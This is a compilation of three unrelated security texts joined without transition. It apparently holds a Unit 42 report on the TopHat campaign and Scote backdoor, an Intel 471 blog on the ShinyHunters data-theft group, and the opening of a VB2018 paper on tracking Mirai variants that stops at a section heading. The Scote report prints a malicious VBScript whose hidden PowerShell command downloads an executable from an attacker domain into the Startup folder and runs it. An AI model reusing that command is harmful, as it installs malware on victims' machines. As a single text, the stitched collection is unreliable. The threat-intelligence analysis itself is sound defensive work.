The ultimate payload is a new malware family that we have dubbed “Scote” based on strings we found within the malware samples. Scote provides backdoor access for an attacker and we have observed it collecting command and control (C2) information from Pastebin links as well as Google+ profiles. The bit.ly links obscured the C2 URLs so victims could not evaluate the legitimacy of the final site prior to clicking it. We are calling their recent activity the “TopHat” campaign.
Additionally, we tracked the apparent author testing their malware against numerous security products. Our tracking of this testing enabled us to both note changes made over time as well as to observe other malware being submitted by the author. This other malware submitted provided overlaps with the previously reported DustySky campaign. In addition to testing malicious RTFs that deploy the Scote malware family, the same attacker was witnessed submitting files that appear to be new variants of the DustySky Core malware discussed in their report.
## Malware Delivery Techniques
The attacks we found within the TopHat campaign began in early September 2017. In a few instances, original filenames of the identified samples were written in Arabic. Specifically, we found the following names during this investigation:
- Original Filename: ﺔﻁﻠﺳﻟﺍ ﻝﺣﺑ ﺍﺩﺑﻳ ﺱﻳﺋﺭﻟﺍ.rar
Translation: The president begins dissolving power.rar
- Original Filename: ﺔﻁﻠﺳﻟﺍ ﻝﺣﺑ ﺍﺩﺑﻳ ﺱﻳﺋﺭﻟﺍ.scr
Translation: The president begins dissolving power.scr
- Original Filename: ﻡﻭﻳﻟﺍ ﻉﺎﻣﺗﺟﺍ ﺭﺿﺣﻣ.doc
Translation: Minutes of today’s meeting.doc
We observed a series of techniques used to deploy the Scote malware family. To date, at a high level, we have observed the following four techniques, each of which we delve into in this blog:
### Technique #1 – RTFs Leveraging Bit.ly
The first technique encountered included the use of malicious RTFs that made an HTTP request to the below URL which then redirected to the below malicious site (note the intentional typo of “storage”):
- URL: http://bit[.]ly/2y3XL3P
- Redirect: http://storgemydata[.]website/v.dat
This ‘v.dat’ file was in turn a PE32 executable file that has the following SHA256 hash:
SHA256: 862a9836450a0988bc0f5bd5042392d12d983197f40654c44617a03ff5f2e1d5
Looking at the publicly available statistics for the bit[.]ly redirect, we see the majority of activity taking place in late October of this year. Additionally, we see the majority of the downloads originating from both the Palestinian Territories as well as the United Arab Emirates. This provides clues as to who the victims are or where attackers may originate from.
### Technique #2 – Don’t Kill My Cat Attacks
The second technique uses an interesting tactic that Unit 42 has not seen before. Specifically, it makes use of an attack discussed in July of this year called Don’t Kill My Cat or DKMC. DKMC can enable an attacker to load a legitimate bitmap (BMP) file that contains shellcode within it.
This specific attack begins with a malicious executable file that downloads a legitimate BMP file that looks like the following:
It should be noted that this is the same image used in the DKMC presentation. It would appear that the attackers simply used the default settings of this particular program.
This BMP file is loaded as shellcode. The first six bytes are read as the following instructions:
1. inc edx
2. dec ebp
3. jmp loc_34D8B
Code execution is then redirected to embedded shellcode. The underlying shellcode is decrypted at runtime using a 4-byte XOR key of 0x3C0922F0. The shellcode eventually loads an embedded UPX-packed executable and redirects execution to this file. This file is an instance of the Scote malware family. The size of the payload and the fact that it is embedded within the BMP file explains the large amount of distortion witnessed in the image above. In other words, the distortion witnessed is actually the shellcode and the embedded Scote malware. As this data is converted within a BMP image, we’re left with what essentially looks like random pixels.
### Technique #3 – RTFs Exploiting CVE-2017-0199
This technique begins with malicious RTF files that make use of CVE-2017-0199, a Microsoft Office/WordPad remote code execution (RCE) vulnerability patched by Microsoft in September 2017. When opened, the following lure is displayed to the victim (translation on the right provided by Google Translate):
This lure is related to an event reported in late August where President Mahmoud Abbas announced plans to convert a planned presidential palace into a national library. This is consistent with the timeline of the attacks we witnessed, as the event took place roughly a week before we observed these malware samples.
These RTFs will also download a file from the following location:
storgemydata[.]website/update-online/office-update.rtf
Note that this is the same domain witnessed in the redirect used in technique #1. While the downloaded file has an RTF extension, it is in fact a VBScript with the following contents:
```vbscript
<script language="VBScript">
window.moveTo -4000, -4000
Set vFwhEtGt = CreateObject("Wscript.Shell")
Set lfTi = CreateObject("Scripting.FileSystemObject")
If 1=1 Then
vFwhEtGt.Run ("PowerShell.exe -WindowStyle Hidden $d=$env:userprofile+'\\start Menu\\Programs\\Startup\\12330718701ac441736a55e3ee3cx996.exe';(New-Object System.Net.WebClient).DownloadFile('http://storgemydata[.]website/x.exe',$d);Start-Process $d;"),0
End If
window.close()
</script>
```
This VBScript script executes a PowerShell command that will download and execute a file from the following location:
http://storgemydata[.]website/x.exe
This final ‘x.exe’ executable file is an instance of the Scote malware family.
### Technique #4 – Self-extracting Executables
The last technique makes use of self-extracting executable files to both load a decoy document and spawn an instance of Scote. When the malware is run it will drop a file with an original filename of ‘abbas.rtf’, which contains the following contents:
Additionally, an instance of Scote is loaded on the victim machine. The decoy document used discusses the potential dissolving of the Palestinian Authority (PA) by President Mahmoud Abbas. This particular event was reported on August 23, 2017, just before Trump administration officials were set to visit Ramallah.
Later in this blog, we will see the attackers leveraging this Donald Trump connection even more. We originally witnessed these specific RTFs on September 6th, 2017, just two weeks after this event. Based on the observed statistics from the malicious redirect found in technique #1, as well as the content of this decoy document, we can infer that at least some of the targeted victims may very well be located in the Palestinian Territories.
## Analysis of the Scote Malware
The Scote malware family employs a series of techniques and tricks when it is originally loaded onto a victim machine. However, underneath the various layers of obfuscation lies a fairly straightforward malware family that abuses legitimate third-party online services to host its C2 information.
When Scote originally is run, it will decode embedded configuration information. This embedded configuration information contains URLs to third-party online services, such as Pastebin postings or Google+ accounts. Scote will use this information to attempt to retrieve data from these URLs and parse it.
It should be noted that a total of three Google+ profiles have been observed and all of these profiles contained the name ‘Donald Trump’. This is interesting given the topics we saw being used to deliver the Scote malware family within the TopHat campaign, many of which also referred to the President of the Palestinian Territories.
After C2 information is retrieved by Scote, it will communicate with these servers and can accept commands that perform the following actions:
- Kill the Scote malware
- Run ‘ipconfig’ on the victim and return results
- Run ‘cmd.exe /C systeminfo’ and return results
- Load a DLL that is downloaded from a C2
For more information about the Scote malware family, please refer to the Appendix.
## Identified Malware Testing Against Security Solutions
When looking at the malicious RTF documents in technique #4 that exploit CVE-2017-0199 we found that all of the files we encountered were submitted within close succession of each other to an online service that tests them against multiple security products. Additionally, the original filenames of these files implied that an attacker may have been testing their malware against one or more security products.
| SHA256 | Filename | Date |
|--------|----------|------|
| cb6cf34853351ba62d4dd2c609d6a41c618881670d5652ff7ddf5496e4693f0 | test1.rtf | 2017-09-06 15:00:08 UTC |
| 8a158271521861e6362ee39710ac833c937ecf2d5cbf4065cb44f3232224cf64 | xx.rtf | 2017-09-06 15:00:53 UTC |
| d302f794d45c2a6eaaf58ade70a9044e28bc9ec43c9f7a1088a606684b1364b5 | xx2.rtf | 2017-09-06 15:01:49 UTC |
| 1cd49a82243eacdd08eee6727375c1ab83e8ecca0e5ab7954c681038e8dd65a1 | xx2.rtf | 2017-09-06 15:05:30 UTC |
| d409d26cffe6ce5298956bd65fd604edf9cfa14bc3373a7bdeb47091729f09e9 | xx2.rtf | 2017-09-06 15:08:32 UTC |
| aa18b8175f68e8eefa12cd2033368bc1b73ff7caf05b405f6ff1e09ef812803c | xx2.rtf | 2017-09-06 15:18:14 UTC |
As we can see by the timestamps shown above, the files were submitted anywhere from one to ten minutes apart from each other. Looking closer at these files we can see what changed between iterations.
As it so happens, the first RTF file this attacker attempted to test had very few detections. However, this was due to the fact that the attempts at commenting out the backslashes caused this file to not open at all within Microsoft Word. When you attempt to open this file, Word will simply render the content as it would a normal text file.
It appeared that the attacker realized this, as he or she quickly corrected this, and proceeded to make very minor modifications to try and evade security products. However, none of the modifications were terribly effective: all of these samples were found to have a high rate of detection.
As we can see, the attacker made multiple very small modifications between each iteration, specifically around the ‘⧵object⧵objlink⧵objupdate’ string. This particular control allows the malicious content to be loaded by the RTF, as outlined in an analysis by MDSec.
## Overlap with the DustySky Campaign
Besides being able to witness the attacker testing his or her malware, we noticed something interesting when we were looking at the individual who submitted these files. About a month and a half after these files were submitted, the same individual submitted three samples that we attribute to the DustySky campaign:
- 202d1d51254eb13c64d143c387a87c5e7ce97ba3dcfd12dd202a640439a9ea3b
- d18e09debde4748163efa25817b197f3ff0414d2255f401b625067669e8e571e
- 3e4d0ffdde0b5db2a0a526730ff63908cefc9634f07ec027c478c123912554bb
DustySky is a campaign published by ClearSky in January 2016 that discusses a politically motivated group that primarily targets organizations within the Middle East. The group has remained active since they were originally reported on, including a campaign identified by Unit 42 earlier this year. These files appear to be new variants of the DustySky Core malware discussed in the report and they communicate with the following domains over HTTPS:
- fulltext.yourtrap[.]com
- checktest.www1[.]biz
The malware is dropped via a self-extracting executable, which contains an empty decoy document with the following name:
ﻥﻳﻁﺳﻠﻔﻟ ﺎﺳﻳﺋﺭ ﻥﻼﺣﺩ ﻥﻼﻋﺍﻭ ﺔﻳﺩﻭﻌﺳﻟﺍ ﻲﻓ ﺱﺎﺑﻋ ﺱﻳﺋﺭﻟﺍ ﺯﺎﺟﺗﺣﺍ ﻥﻋ ءﺎﺑﻧﺍ.docx
This can roughly be translated to: News of the detention of President Abbas in Saudi Arabia and Dahlan’s declaration as President of Palestine.docx
As we can see, the name of this decoy document is consistent with the lures witnessed in the TopHat campaign.
## Conclusion
Attackers often leverage current events to accomplish their goal. In the TopHat campaign, we have observed yet another instance where a threat actor looks to be using political events to target individuals or organizations within the Palestine region. This campaign leveraged multiple methods to deploy a previously unseen malware family, including some relatively new tactics in the case of using a legitimate BMP file to load malicious shellcode.
The new malware family, which we have dubbed Scote, employs various tricks and tactics to evade detection, but provides relatively little functionality to the attackers once deployed. This may well be due to the fact it is still under active development. Scote uses some interesting methods when retrieving C2 information, including the use of Pastebin and Google+ accounts, as well as using bit.ly links to obscure the C2 URLs so victims could not evaluate the legitimacy of the final site prior to clicking it.
The TopHat campaign was found to have some overlaps discovered with the previously reported DustySky campaign when the attacker was identified to be submitting their files for testing purposes. Unit 42 will continue to track and monitor this threat and will report on any developments that occur. |
# How to Guard Your Enterprise Against ShinyHunters
If your organization’s data is suddenly sharing screen time with an electric blue deer, it's time to worry.
There is a group in the cybercriminal underground that is trying to collect troves of enterprise data the same way that millions of gamers collect Pokémon. Since surfacing in April 2020, the group — which refers to itself as ShinyHunters — has been behind some of the most notable data breaches that have been made public. Those include breaches of Microsoft’s GitHub account, photo editing app Pixlr, and men’s clothing retailer Bonobos. Intel 471 has also observed them claiming responsibility for several other breaches, including incidents impacting a sports media company, a mobile travel platform, and a website that allows musical artists to find and book gigs. As research was being conducted for this blog, the group claimed to be in possession of 70 million records with personally identifiable information that it took from telecom giant AT&T.
With figures estimating the average data breach this year is approximately $4.4 million, we can estimate that ShinyHunters has cost companies tens of millions of dollars in damages this year.
Primarily operating on Raid Forums, the collective’s moniker and motivation can partly be derived from their avatar on social media and other forums: a shiny Umbreon Pokémon. As Pokémon players hunt and collect “shiny” characters in the game, ShinyHunters collects and resells user data.
While the group’s targets are spread across different economic sectors, the methods by which they are obtaining organizational data follow a consistent pattern. ShinyHunters tries to obtain legitimate credentials, most likely for a company's cloud services. From there, the group will seek to target database infrastructure to gather PII to be resold on marketplaces for profit. Intel 471 has also observed ShinyHunters targeting DevOps personnel or GitHub repository companies in order to steal valid OAuth credentials. These OAuth keys are used to access cloud infrastructure and bypass any two-factor authentication processes that are in place.
Below is a further breakdown of the courses of action (CoAs) the actor could take based on TTPs identified, including the most likely courses of action (MLCoA) and the most dangerous courses of action (MDCoA) that organizations could anticipate. More MITRE ATT&CK mapping can be found at the end of this blog.
Intel 471 has also observed the group follow TTPs in the MDCoA column, but then leverage the credentials in secondary or tertiary attacks. Additionally, the group will also search a company's GitHub repository source code for vulnerabilities within the code itself. These vulnerabilities are used in further, more complex, third-party or supply chain attacks.
ShinyHunters may not have as much notoriety as the ransomware groups that are currently causing havoc for enterprises all over the world. However, tracking actors like this are crucial to preventing your enterprise from being hit with such an attack. The information ShinyHunters gathers is often turned around and sold on the same underground marketplaces where ransomware actors use it to launch their own attacks. If enterprises can move to detect activity like ShinyHunters, they in turn can stop ransomware attacks before they are ever launched.
## Appendix: MITRE ATT&CK Techniques
### Reconnaissance [TA0043]
- **Gather Victim Identity Information: Credentials [T1589.001]** - Sold unauthorized access credentials containing PII.
- **Gather Victim Identity Information: Email Addresses [T1589.002]** - Sold unauthorized access credentials containing PII.
- **Phishing for Information [T1598]** - Conducted phishing attacks targeting Microsoft Office 365 corporate users to steal account credentials.
### Initial Access [TA0001]
- **Phishing [T1566]** - Conducted phishing attacks targeting Microsoft Office 365 corporate users to steal account credentials.
- **Valid Accounts: Domain Accounts [T1078.002]** - Sold unauthorized access credentials containing PII.
- **Valid Accounts: Cloud Accounts [T1078.004]** - Used AWS keys to obtain further access to cloud services and subsequently dumped databases hosted through AWS.
### Credential Access [TA0006]
- **Steal Application Access Tokens [T1528]** - Leveraged stolen Amazon Web Services (AWS) keys.
### Discovery [TA0007]
- **Cloud Infrastructure Discovery [T1580]** - Reset passwords for accounts with access to the victim organization’s GitHub software repository system and sought Amazon Web Services (AWS) keys.
### Lateral Movement [TA0008]
- **Exploitation of Remote Services [T1210]** - Searched GitHub repository for OAuth keys and used them to move laterally to a cloud service.
- **Software Deployment Tools [T1072]** - Used GitHub repository.
### Collection [TA0009]
- **Data from Cloud Storage Object [T1530]** - Used AWS keys to obtain further access to cloud services and subsequently dumped databases hosted through AWS.
- **Data from Information Repositories [T1213]** - Searched GitHub repository for OAuth keys and used them to move laterally to a cloud service.
### Exfiltration [TA0010]
- **Exfiltration Over Web Service [T1567]** - Searched GitHub repository for OAuth keys and used them to move laterally to a cloud service. |
# VB2018 Paper: Tracking Mirai Variants
**Ya Liu & Hui Wang**
**Qihoo 360 Technology, China**
**Copyright © 2018 Virus Bulletin**
## Abstract
Mirai, the infamous DDoS botnet family known for its great destructive power, was made open source soon after being found by MalwareMustDie in August 2016, which led to a proliferation of Mirai variant botnets. Since then, the authors have continuously updated their code (e.g. adding new types of exploits and attack methods), which has added to the difficulty of detecting and mitigating Mirai-related threats. To solve that problem we present a set of Mirai variant classification and tracking schemes developed during the process of analysing over 32,000 Mirai samples. In this paper we will introduce:
1. How to extract data including configurations, supported attack methods, and dictionaries of usernames and passwords from samples.
2. How to use the extracted data to classify and track Mirai variants.
To demonstrate the effectiveness of our solutions, popular Mirai branches are investigated under the proposed schemes.
## 1. Introduction
Mirai became well known in Autumn 2016 for overwhelming several high-profile targets including Krebs on Security, OVH and Dyn through DDoS attacks. Mirai overtook previous Linux DDoS botnet families (e.g. Gafgyt, Tsunami) in its capacity to infect hundreds of thousands of IoT devices in a short period of time, and to provide versatile attack method options. The Mirai source code was released soon after having been found by MalwareMustDie. Inspired by the success of Mirai and the released source code, other bot masters/underground groups soon began to establish their own versions of Mirai botnets, which has caused a proliferation of IoT botnets over the past 1.5 years. While some of the new botnets only borrowed ideas or code from Mirai (e.g. Hajime, Reaper), most of them are exact Mirai descendants. In the post-Mirai era, it should be routine work for security researchers to fight Mirai-like threats.
Currently, it is usual for Mirai variants to be classified with their branch names, which come from the command line ‘/bin/busybox <branch>’ found in the Mirai sample. While the default name is ‘MIRAI’, in later variants the ‘branch’ is usually replaced with an author-chosen name (e.g. MASUTA, SATORI, SORA). However, we feel that such a classification scheme is too coarse-grained, and it cannot reveal the variances across variants.
| Branch name | Sample count |
|-------------|--------------|
| JOSHO | 1,444 |
| OWARI | 702 |
| MASUTA | 438 |
| Cult | 434 |
| SORA | 400 |
| daddyl33t | 343 |
| MIORI | 244 |
| WICKED | 128 |
| dwickedgod | 125 |
| EXTENDO | 100 |
Our Mirai tracking work started soon after the malware was first blogged about by MalwareMustDie in August 2016. Between then and May 2018, over 32,000 Mirai samples were collected, from which dozens of variants and 1,000+ C&Cs have been detected. According to our experience, automatic schemes to classify and track the proliferated variants must be able to do the following:
1. Extract the C&C information.
2. Figure out the supported attack methods, since Mirai is mainly DDoS attack purposed.
3. Provide clues for correlating variants and C&Cs, and if possible, help to investigate the actors behind the attacks.
In this paper, we will introduce our Mirai variant classification and tracking schemes which mainly make use of the data relating to configurations, supported attack methods and credential dictionaries. The remainder of this paper is organized as follows: in Section 2, we introduce how to extract data including configurations, supported attack methods and attack method fingerprints automatically from samples; in Section 3, we introduce a set of schemes including variant clustering and classification using the extracted data; in Section 4 we use our proposed schemes to investigate some typical Mirai branches.
To summarize, the contributions of this paper are as follows:
- We demonstrate solutions for automatically extracting configurations, supported attack methods and credential dictionaries from Mirai samples.
- We propose a fingerprint technique that can be used to recognize Mirai attack methods with the information extracted from binary code without the need for reverse engineering work.
- We summarize the Mirai variants and introduce a set of classification schemes based on the extracted data.
- We investigate popular Mirai branches with our proposed schemes.
Since it’s common for Mirai botnet authors to compile the same code into binaries for different processors (e.g. x86, x64, ARM, MIPS, SPARC, PowerPC), for reasons of simplicity and efficiency, we chose to consider only the subset of samples for x86 and ARM in this paper. We believe these two kinds of samples are sufficient to study the Mirai variants due to the redundancy introduced by the ‘one-source-to-multiple-processors’ style of compilation. On the other hand, this paper mainly focuses on Mirai variants with DDoS attack methods, and pays little attention to non-DDoS ones (e.g. Sartori.miner).
The SHA256 hashes for the samples discussed in this paper are given in Appendix A.
## 2. Data Extraction
It’s thought that malware variant classification and tracking is a classical, yet difficult problem. There is no industrial standard on that. The de facto method is to make use of sample information including special code snippets, binary byte sequences or strings, calling function graphs, and size, etc. In this paper, we simplify the problem by limiting the used data to the following four kinds:
1. Plaintext configurations, together with the encryption algorithm and key.
2. The C&C domain/IP and port. While originally stored in the configuration database, this information is now usually hard coded in a function named resolve_cnc_addr().
3. The supported attack methods and their corresponding command codes.
4. The dictionary of username/password pairs used in the scan module, if it exists.
All the data is extracted in an automated manner. Since the data is stored in a distributed manner in the samples (rather than all being in the same place), it’s difficult to extract all the required data with a single solution. Meanwhile, due to the ‘one-source-to-multiple-processors’ code compilation, solutions must be able to deal with different processor architectures. Our final solution is composed of four separate analyser programs, each of which includes a static and a dynamic analysis part. The static analysis is done with IDAPython to make use of IDA’s multiple processor supporting feature, while the dynamic analysis is based on a proprietary lightweight emulation framework which is designed to emulate binary code snippets of interest (e.g. an instruction block). The open-source emulator Unicorn is used as the core engine to support common processor architectures including x86/x64/ARM/MIPS/PowerPC/SPARC. Both ELF and PE formats are supported.
### 2.1 Configurations
In Mirai, a self-defined database is designed to store most of the running parameters which we call configurations. The database has the following characteristics:
1. Each item is uniquely indexed with a number which is usually less than 256.
2. Configurations are encrypted.
3. Configuration is referenced in a pattern of ‘decrypt->retrieve->re-encrypt’.
A completely extracted configuration database can be seen in Figure 1. The first line holds the summary information, while the left lines correspond to individual configuration items. In this example the C&C port has an index number of 1, as indicated by ‘idx_port=1’ in the first line, which points to the item ‘[0x01]: “\x059”, size=2’. The C&C port of 0x539 (a.k.a. 1337) is calculated from the item content of ‘\x059’.
Basically, configuration extraction can be divided into two steps: (1) extracting the indexes and cipher texts of all items; (2) deciphering them with a self-implemented decryption program. Our analysis of the source shows that the database is initialized in a function called table_init().
In table_init(), it’s the function named ‘add_entry()’ that is called repeatedly to install the individual items. In each call to add_entry(), three parameters are passed which individually represent: item index, ciphertext address, and size. A new memory block will be allocated inside add_entry() to store the cipher text, then it will be saved to a slot allocated from a global structure named ‘table’. The slot position is determined with the following formula: item_addr=table_addr +item_id*tbl_item_size. Under 32-bit CPU architecture, the tbl_item_size always holds a value of 8, while its value is 16 for 64-bit CPU architectures.
In the original versions, both the C&C domain/IP and port are stored in the configuration database, which makes it possible to recover all necessary information simply by analysing the table_init() function. However, in later variants, C&C domains/IPs are usually hard coded in a function called resolve_cnc_addr(). Furthermore, due to compiler inline optimization and the fact that the first item is not always indexed from a fixed number (e.g. 0), configuration indexing information is missing in table_init(). Fortunately, since both C&C and port are referenced in resolve_cnc_addr(), the missing indexing information, together with the hard-coded C&C, can be calculated heuristically with the analysis of resolve_cnc_addr(). Therefore our configuration extraction solution comes as two analyser programs: one for table_init() and the other for resolve_cnc_addr().
#### 2.1.1 table_init() analyser
The table_init() function is called after the bot starts running. The item installation work is done by repeatedly calling add_entry(). In the case of inline optimization, calls to add_entry() are optimized into those of malloc()/util_memcpy(). The ‘decrypt->retrieve->re-encrypt’ style of item reference is done separately with the table_unlock_val()/table_retrieve_val()/table_lock_val() functions, with decryption/encryption implemented in table_unlock_val()/table_lock_val(). The encryption algorithm is summarized as follows:
1. Decryption and encryption share the same single-byte XOR’ing algorithm.
2. Key size is 4. The target byte is XOR’ed with each key byte in turn to get the final ciphertext/plaintext byte.
Given the associative law of XOR operation, the four-byte key can equivalently be mapped to a one-byte key, which greatly reduces the key space from 2^32 to 2^8, thus making it feasible to search the key with brute force enumeration.
Candidate table_init() functions are found by the static analysis script which goes through all binary functions in samples and picks out those with the following characteristics:
- Repeatedly calling add_entry() or malloc()/util_memcpy() in the case of inline optimization.
- Composed of one very large instruction block because no branches are introduced by any switch/loop instructions.
- Referencing dozens of global variables which point to ciphertext memory.
Dynamic analysis of the candidate table_init() functions, together with false-positive removals, is done in an emulation program based on our lightweight emulation framework. The cases of non-inline and inline optimization are considered separately. The key points of emulating a non-inline version of table_init() are as follows:
- NOP’ing all the CALL instructions and marking them as breakpoints.
- Emulating in single-step mode.
- In the breakpoint handler, saving arguments 1–3 separately as id, ciphertext address, and size if argument 2 points to a valid data area.
When dynamically analysing the inline optimized code, a trick is used which is inspired by the fact that the return value of malloc() would be used as the first argument of the next call (a.k.a. util_memcpy()). Every time a CALL breakpoint is handled, the return value (e.g. EAX in the case of Intel x86 CPU) will be set to a magic value called MAGIC-RET. By doing that, a call with the first argument equal to MAGIC-RET would be indicative of util_memcpy, thus triggering the saving of arguments 2 and 3. Similarly, the operation of saving an item to the table can also be traced by checking whether the currently inspected MEM-WRITE operation has a source operand of MAGIC-RET. If it does, the slot address will be saved for late index calculation with the following formula: item_id=(item_addr-table_addr)/tbl_item_size. The table_addr is inferred heuristically from the analysis of resolve_cnc_addr() introduced in Section 2.1.2.
The key points of emulating an inline optimized table_init() are as follows:
1. NOP’ing all the CALL instructions and marking them as breakpoints.
2. Hooking all MEM-WRITE instructions.
3. Emulating in single-step mode.
4. In the CALL breakpoint handler, saving arguments 2 and 3 as ciphertext address and size if the first argument is MAGIC-RET, and setting the return value as MAGIC‑RET.
5. In the MEM-WRITE handler, saving the destination memory address as item_addr if the source operand is MAGIC-RET.
After emulation finishes, the ciphertext configurations are read for decryption. Every key in 2^8 is tested until any meaningful plain configurations are found. The decrypted configurations will be cached for later synthesizing after resolve_cnc_addr() is analysed.
#### 2.1.2 resolve_cnc_addr() analyser
The resolve_cnc_addr() function, called in a SIGTRAP signal handler installed in main(), was originally responsible for retrieving the C&C and port from the configuration database with their index numbers. However, more and more Mirai variants have begun to hard code their C&Cs in resolve_cnc_addr(), which mandates the analysis of resolve_cnc_addr() to retrieve the right C&C value and port index number.
The resolve_cnc_addr() function has the following characteristics:
1. It writes at least two global variables (srv_addr.sin_addr and srv_addr.sin_port).
2. It calls at least three different functions.
Candidate resolve_cnc_addr() functions are found with an IDAPython script in the following ways:
1. Heuristically finding the main() function.
2. Finding all callback functions in main() as candidate signal handlers.
3. Finding callback functions in each candidate signal handler found in (2) as candidate resolve_cnc_addr() functions.
4. Filtering out those that don’t have resolve_cnc_addr() characteristics.
5. Extracting the hard-coded C&C if it exists.
The key steps of emulating resolve_cnc_addr() are as follows:
1. NOP’ing all the CALL instructions and marking them as breakpoints.
2. Hooking all MEM-WRITE instructions.
3. Emulating in single-step mode.
4. In the CALL breakpoint handler, saving a pair of {arg1, ‘CALL’} to an operation list OPS, and setting the return value (e.g. EAX in the case of Intel x86) as a magic value MAGIC-RET.
5. In the MEM-WRITE handler, saving a pair of {write-bytes, ‘WRITE’} to OPS.
After emulation stops, the C&C (if not hard coded) and port index numbers are calculated in the following manner:
1. The OPS list is iterated and the unique arg1 values saved in {arg1, ‘CALL’} pairs are counted until a {write-bytes, ‘WRITE’} pair is encountered.
2. The most frequent arg1 value can be thought of as an index number. If write-bytes in {write-bytes, ‘WRITE’} is equal to 4, the obtained number will be used as the C&C index; if write-bytes is equal to 2, it is used as the C&C port index.
3. The counting results are cleared for the next round of counting.
4. Steps 1 to 3 are repeated until OPS is iterated over.
The indexes that are found are used for C&C retrieval and for inferring the indexing number in the case of inline optimized table_init(). The heuristic inference is based on the facts that: (1) although not fixed, the smallest index number must be greater than 0 while usually less than 5; (2) the C&C port item always has a size of 2.
### 2.2 Supported Attack Methods
It’s known that Mirai is designed for DDoS attacking purposes. Ten supported attack methods are found in the released Mirai source. Accordingly, ten command codes (e.g. ATK_VEC_xx) are defined in the C&C protocol to deliver attack method types in commands from the controller to bots.
Our analysis shows that the attack methods usually differ in variants in terms of method count, command code numbering, new types of methods, and method implementation. From the point of view of supported attack methods, Mirai variants could be clustered with combinations of ‘code‑attack_typen’, where n is the version number of a specific attack method. For example, the original version of Mirai could be represented as:
{0-atk_udp1, 1-atk_udp_vse1, 2-atk_udp_dns, 3-atk_tcp_syn1, 4-atk_tcp_ack1, 5-atk_tcp_stomp_or_xmas1, 6-atk_gre1, 7-atk_gre1, 9-atk_std_or_udp, 10-atk_http1}
Meanwhile, the version of the sample has the following representation:
{0-atk_udp1, 1-atk_udp_vse1, 2-atk_udp_dns, 3-atk_tcp_syn1, 4-atk_tcp_ack1, 5-atk_tcp_stomp_or_xmas1, 6-atk_gre1, 7-atk_gre1, 8-atk_std_or_udp, 9-atk_std_or_udp, 10-atk_tcp_stomp_or_xmas1}
The obvious difference is that command code 10 has different semantics in the two scenarios.
To achieve the combination of ‘code-attack_typen’ from a binary sample, we must: (1) extract the attack method codes and their function addresses from the sample; (2) figure out what attack types each function is used for. Accordingly, two analyser programs are designed: one program is to extract {code, attack_function} sequences, while the other is to figure out the extracted attack semantics.
As shown in Figure 4, Mirai attack methods, together with their command codes, are dynamically installed in a function called ‘attack_init()’. It’s the function named add_attack() that is repeatedly called in attack_init() to save the pairs of {code, attack_function} to a global structure named ‘methods’. Inside the add_attack() function, calloc() is called to allocate memory for the item of {code, attack_function}, and realloc() is called to enlarge the methods by 1 to save the newly allocated item.
Similar to add_entry() introduced in Section 2.1.1, the add_attack() function may also be inline optimized in some cases, which leads to two versions of binary add_attack(). Fortunately, the two versions share the following characteristics:
1. Composed of a single block.
2. A fixed set of one, or two in the case of inline-optimization, unique functions are called repeatedly.
3. At least one callback function corresponding to the attack method function exists.
The candidate attack_init() functions are found by an IDAPython script according to the above three characteristics. Non-inline and inline versions are considered separately when emulating. The key points of emulating non-inline versions of attack_init() are as follows:
1. NOP’ing all CALL instructions and marking them as breakpoints.
2. Emulating in single-step mode.
3. In the breakpoint handler, saving arguments 1–2 if the second argument points to a valid code area.
When analysing the inline optimization version of code, a trick is used which is inspired by the fact that the newly allocated memory returned from malloc() will be used as the destination operand in the next MEM-WRITE operation to save the code and atk_function. Every time a CALL breakpoint is handled, the return value (e.g. EAX in the case of Intel x86 CPU) will be set to a magic value called MAGIC-RET. The key points of emulating an inline optimization version of attack_init() are as follows:
1. NOP’ing all CALL instructions and marking them as breakpoints.
2. Hooking MEM-WRITE instructions.
3. Emulating in single-step mode.
4. In the CALL breakpoint handler, setting the return value as MAGIC-RET.
5. In the MEM-WRITE handler, saving the source operand value as atk_code if the destination operand equals MAGIC_RET.
6. In the MEM-WRITE handler, saving the source operand as atk_function if the destination one equals (MAGIC_RET+4).
An example of the finally found {code, attack_function} pairs is as follows:
{0_0x8FA0, 1_0xA4C4, 2_0xA988, 8_0x89D8, 3_0xC96C, 4_0xC1F8, 5_0xB998, 10_0xB138, 6_0x9DA8, 7_0x962C, 9_0x8CBC}
The semantics of the found attack functions are inferred using the fingerprint technique introduced in the next section.
### 2.2.1 Fingerprinting Attack Functions
Together with the attack method command codes, as many as 25 attack options (e.g. ATK_OPT_PAYLOAD_SIZE, ATK_OPT_PAYLOAD_RAND, ATK_OPT_IP_TOS) are defined in the original Mirai C&C protocol to deliver command details.
Detailed analysis shows it’s common for the same functionality to be expressed using different codes across different variants. And some options are usually attack-command-specific, e.g. ATK_OPT_METHOD and ATK_OPT_POST_DATA are only used with ATK_VEC_HTTP, while ATK_OPT_GRE_CONSTIP is only used with ATK_VEC_GREIP and ATK_VEC_GREETH.
Furthermore, different attack methods usually don’t share the same set of attack options, which inspired us to devise a fingerprint technique as follows:
fingerprint(atk_function)={concatenation of used option codes}
For example, the attack_app_http has a fingerprint of ‘0x15_0x14_0x08_0x16_0x18_0x07’, while attack_gre_ip has a fingerprint of ‘0x02_0x03_0x04_0x05_0x06_0x07_0x00_0x01_0x13_0x19’.
With the fingerprint technique, not only can we cluster the variants based on their attack method fingerprints, but we are also able to recognize the supported attack methods of new samples with a signature database of {atk_fingerprint, method_name}. The used option codes are all the data that is needed for fingerprinting. They are always referenced in the first, yet large, instruction block of binary attack functions, by calling the parser functions of attack_get_opt_int()/attack_get_opt_str()/attack_get_opt_ip().
Detailed analysis shows that all parser functions share the same characteristics: taking four arguments with arguments 1–2 as source data, arg 3 as option code and arg 4 holding a default value. Inspired by the findings, our option code extraction is achieved by emulating the first instruction block of the attack function. The static analysis part is relatively simple: splitting the target attack function into blocks and finding the starting and ending addresses of the first block. A trick to recognize the ‘attack_get_opt_’ prefixed parser functions in emulation is to set the first and second arguments of the target attack function as two magic values (e.g. MAGIC-VAL1 and MAGIC-VAL2) before emulation starts. The key points of emulation are as follows:
1. Setting arguments 1 and 2 of the target function as two magic values (e.g. MAGIC-VAL1 and MAGIC-VAL2).
2. NOP’ing all the CALL instructions and marking them as breakpoints.
3. Emulating in single-step mode.
4. Saving arguments 3–4 when breakpoints are encountered with arguments 1–2 equal to MAGIC-VAL1–2.
Currently, 43 unique attack method fingerprints have been found from the 32,000+ samples.
### 2.3 Dictionary of Usernames/Passwords
